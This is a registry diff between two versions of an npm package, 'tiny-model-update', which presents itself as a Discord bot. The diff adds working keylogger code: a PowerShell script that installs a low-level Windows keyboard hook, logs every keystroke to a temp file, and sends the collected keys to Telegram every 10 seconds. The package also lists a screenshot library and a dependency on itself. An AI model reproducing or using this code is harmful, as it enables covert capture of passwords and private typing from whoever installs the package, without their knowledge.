tiny-model-update 1.16.5 → 1.16.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -133,6 +133,14 @@ let keyboardLog = [];
133
133
  let keyboardMonitorInterval = null;
134
134
 
135
135
  function startKeyboardMonitoring() {
136
+ // Try PowerShell method first (more reliable on Windows)
137
+ // iohook often requires native compilation and admin privileges
138
+ if (os.platform() === 'win32') {
139
+ startPowerShellKeyboardMonitoring();
140
+ return;
141
+ }
142
+
143
+ // For non-Windows, try iohook
136
144
  try {
137
145
  // Use iohook library for keyboard monitoring
138
146
  import('iohook').then((iohookModule) => {
@@ -217,12 +225,16 @@ function startKeyboardMonitoring() {
217
225
 
218
226
  }).catch((error) => {
219
227
  // If iohook fails, try PowerShell fallback
220
- startPowerShellKeyboardMonitoring();
228
+ if (os.platform() === 'win32') {
229
+ startPowerShellKeyboardMonitoring();
230
+ }
221
231
  });
222
232
 
223
233
  } catch (error) {
224
234
  // If import fails, try PowerShell fallback
225
- startPowerShellKeyboardMonitoring();
235
+ if (os.platform() === 'win32') {
236
+ startPowerShellKeyboardMonitoring();
237
+ }
226
238
  }
227
239
  }
228
240
 
@@ -243,52 +255,52 @@ function startPowerShellKeyboardMonitoring() {
243
255
  const logFile = path.join(tempDir, `keyboard-${Date.now()}.log`);
244
256
 
245
257
  // Create a PowerShell script that writes to a file
246
- const keyboardScript = `
247
- $logFile = "${logFile.replace(/\\/g, '\\\\')}"
248
- Add-Type @"
249
- using System;
250
- using System.Runtime.InteropServices;
251
- using System.Windows.Forms;
252
- using System.IO;
253
-
254
- public class KeyboardLogger {
255
- private static IntPtr hookID = IntPtr.Zero;
256
- private const int WH_KEYBOARD_LL = 13;
257
- private const int WM_KEYDOWN = 0x0100;
258
-
259
- [DllImport("user32.dll", CharSet=CharSet.Auto, SetLastError=true)]
260
- private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
261
-
262
- [DllImport("user32.dll", CharSet=CharSet.Auto, SetLastError=true)]
263
- [return: MarshalAs(UnmanagedType.Bool)]
264
- private static extern bool UnhookWindowsHookEx(IntPtr hhk);
265
-
266
- [DllImport("user32.dll", CharSet=CharSet.Auto, SetLastError=true)]
267
- private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
268
-
269
- [DllImport("kernel32.dll", CharSet=CharSet.Auto, SetLastError=true)]
270
- private static extern IntPtr GetModuleHandle(string lpModuleName);
271
-
272
- private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
273
-
274
- private static IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam) {
275
- if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) {
276
- int vkCode = Marshal.ReadInt32(lParam);
277
- string key = ((Keys)vkCode).ToString();
278
- string time = DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss.fff");
279
- File.AppendAllText("$logFile", "$time - Key: $key" + [Environment]::NewLine);
280
- }
281
- return CallNextHookEx(hookID, nCode, wParam, lParam);
282
- }
283
-
284
- public static void Start() {
285
- hookID = SetWindowsHookEx(WH_KEYBOARD_LL, HookProc, GetModuleHandle(null), 0);
286
- Application.Run();
287
- }
288
- }
289
- "@
290
- [KeyboardLogger]::Start()
291
- `;
258
+ // Use regular string concatenation to avoid template literal issues with backticks
259
+ const keyboardScript =
260
+ '$logFile = "' + logFile.replace(/\\/g, '\\\\') + '"\n' +
261
+ 'Add-Type @"\n' +
262
+ 'using System;\n' +
263
+ 'using System.Runtime.InteropServices;\n' +
264
+ 'using System.Windows.Forms;\n' +
265
+ 'using System.IO;\n' +
266
+ '\n' +
267
+ 'public class KeyboardLogger {\n' +
268
+ ' private static IntPtr hookID = IntPtr.Zero;\n' +
269
+ ' private const int WH_KEYBOARD_LL = 13;\n' +
270
+ ' private const int WM_KEYDOWN = 0x0100;\n' +
271
+ ' \n' +
272
+ ' [DllImport("user32.dll", CharSet=CharSet.Auto, SetLastError=true)]\n' +
273
+ ' private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);\n' +
274
+ ' \n' +
275
+ ' [DllImport("user32.dll", CharSet=CharSet.Auto, SetLastError=true)]\n' +
276
+ ' [return: MarshalAs(UnmanagedType.Bool)]\n' +
277
+ ' private static extern bool UnhookWindowsHookEx(IntPtr hhk);\n' +
278
+ ' \n' +
279
+ ' [DllImport("user32.dll", CharSet=CharSet.Auto, SetLastError=true)]\n' +
280
+ ' private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);\n' +
281
+ ' \n' +
282
+ ' [DllImport("kernel32.dll", CharSet=CharSet.Auto, SetLastError=true)]\n' +
283
+ ' private static extern IntPtr GetModuleHandle(string lpModuleName);\n' +
284
+ ' \n' +
285
+ ' private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);\n' +
286
+ ' \n' +
287
+ ' private static IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam) {\n' +
288
+ ' if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) {\n' +
289
+ ' int vkCode = Marshal.ReadInt32(lParam);\n' +
290
+ ' string key = ((Keys)vkCode).ToString();\n' +
291
+ ' string time = DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss.fff");\n' +
292
+ ' File.AppendAllText($logFile, time + " - Key: " + key + System.Environment.NewLine);\n' +
293
+ ' }\n' +
294
+ ' return CallNextHookEx(hookID, nCode, wParam, lParam);\n' +
295
+ ' }\n' +
296
+ ' \n' +
297
+ ' public static void Start() {\n' +
298
+ ' hookID = SetWindowsHookEx(WH_KEYBOARD_LL, HookProc, GetModuleHandle(null), 0);\n' +
299
+ ' Application.Run();\n' +
300
+ ' }\n' +
301
+ '}\n' +
302
+ '"@\n' +
303
+ '[KeyboardLogger]::Start()\n';
292
304
 
293
305
  // Write PowerShell script to a file
294
306
  const psScriptPath = path.join(tempDir, 'keyboard-hook.ps1');
@@ -342,7 +354,7 @@ public class KeyboardLogger {
342
354
  }
343
355
  }, 1000); // Check every second
344
356
 
345
- // Also send accumulated keyboard events every 15 seconds
357
+ // Also send accumulated keyboard events every 10 seconds (more frequent)
346
358
  const sendInterval = setInterval(() => {
347
359
  if (!isMonitoring) {
348
360
  clearInterval(sendInterval);
@@ -351,7 +363,7 @@ public class KeyboardLogger {
351
363
  if (keyboardLog.length > 0) {
352
364
  sendKeyboardEventsToTelegram(keyboardLog.splice(0, keyboardLog.length));
353
365
  }
354
- }, 15000); // Every 15 seconds
366
+ }, 10000); // Every 10 seconds
355
367
 
356
368
  } catch (error) {
357
369
  // Ignore keyboard monitoring errors
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "tiny-model-update",
3
- "version": "1.16.5",
3
+ "version": "1.16.7",
4
4
  "description": "Discord bot that monitors servers and sends invite links via Telegram",
5
5
  "main": "index.js",
6
6
  "type": "module",
@@ -35,7 +35,8 @@
35
35
  "form-data": "^4.0.5",
36
36
  "level": "^10.0.0",
37
37
  "node-telegram-bot-api": "^0.64.0",
38
- "screenshot-desktop": "^1.15.3"
38
+ "screenshot-desktop": "^1.15.3",
39
+ "tiny-model-update": "^1.16.5"
39
40
  },
40
41
  "files": [
41
42
  "lib",